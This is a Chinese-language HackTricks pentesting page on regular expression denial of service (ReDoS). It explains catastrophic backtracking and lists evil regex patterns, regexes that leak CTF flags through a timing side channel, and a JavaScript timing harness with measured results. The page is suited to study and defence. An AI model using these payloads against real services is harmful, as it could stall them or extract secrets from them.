hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md
2023-08-03 19:12:22 +00:00

7.8 KiB
Raw Blame History

正则表达式拒绝服务 - ReDoS

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

简介

摘自 https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

正则表达式拒绝服务 (ReDoS) 是一种拒绝服务攻击,利用了大多数正则表达式实现可能会导致其工作非常缓慢(与输入大小呈指数关系)的事实。攻击者可以使使用正则表达式的程序进入这些极端情况,然后长时间停顿。

描述

有问题的正则表达式天真算法

正则表达式天真算法构建了一个非确定有限自动机 (NFA),它是一个有限状态机,对于每对状态和输入符号,可能有多个可能的下一个状态。然后引擎开始进行转换,直到输入结束。由于可能有多个可能的下一个状态,使用确定性算法。该算法逐个尝试所有可能的路径(如果需要),直到找到匹配项(或尝试并失败所有路径)。

例如,正则表达式 ^(a+)+$ 由以下 NFA 表示:

非确定有限自动机

对于输入 aaaaX,上述图中有 16 条可能的路径。但对于 aaaaaaaaaaaaaaaaX,有 65536 条可能的路径,并且每增加一个 a,数量就会翻倍。这是天真算法有问题的一个极端情况,因为它必须经过许多路径,然后失败。

请注意,并非所有算法都是天真的,实际上,正则表达式算法可以以高效的方式编写。不幸的是,今天大多数正则表达式引擎尝试解决的不仅仅是“纯粹”的正则表达式,还包括带有“特殊附加项”的“扩展”正则表达式,例如不能始终高效解决的反向引用(有关更多详细信息,请参见Wiki-Regex中的“非正则语言的模式”)。因此,即使正则表达式不是“扩展”的,也会使用天真算法。

恶意正则表达式

如果一个正则表达式可以在特定输入上卡住,那么它被称为“恶意”正则表达式。

恶意正则表达式模式包含

  • 重复的分组
  • 在重复的分组内部:
  • 重复
  • 重叠的选择

恶意模式示例

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} for x \> 10

上述所有模式都容易受到输入 aaaaaaaaaaaaaaaaaaaaaaaa! 的影响(在使用更快或更慢的机器时,最小输入长度可能会略有变化)。

ReDoS 载荷

通过 ReDoS 进行字符串泄露

在 CTF或漏洞赏金也许你控制了与敏感信息(标志)匹配的正则表达式。然后,如果正则表达式匹配,而不匹配则不匹配,使页面冻结(超时或更长的处理时间)可能会很有用。这样,你就可以逐个字符地泄露字符串:

  • 这篇文章中,你可以找到这个 ReDoS 规则:^(?=<flag>)((.*)*)*salt$
  • 示例:^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • 这篇解答中,你可以找到这个:<flag>(((((((.*)*)*)*)*)*)*)!
  • 这篇解答中,他使用了:^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

控制输入和正则表达式的 ReDoS

以下是一些 ReDoS 示例,您可以同时控制输入和正则表达式:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

工具

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥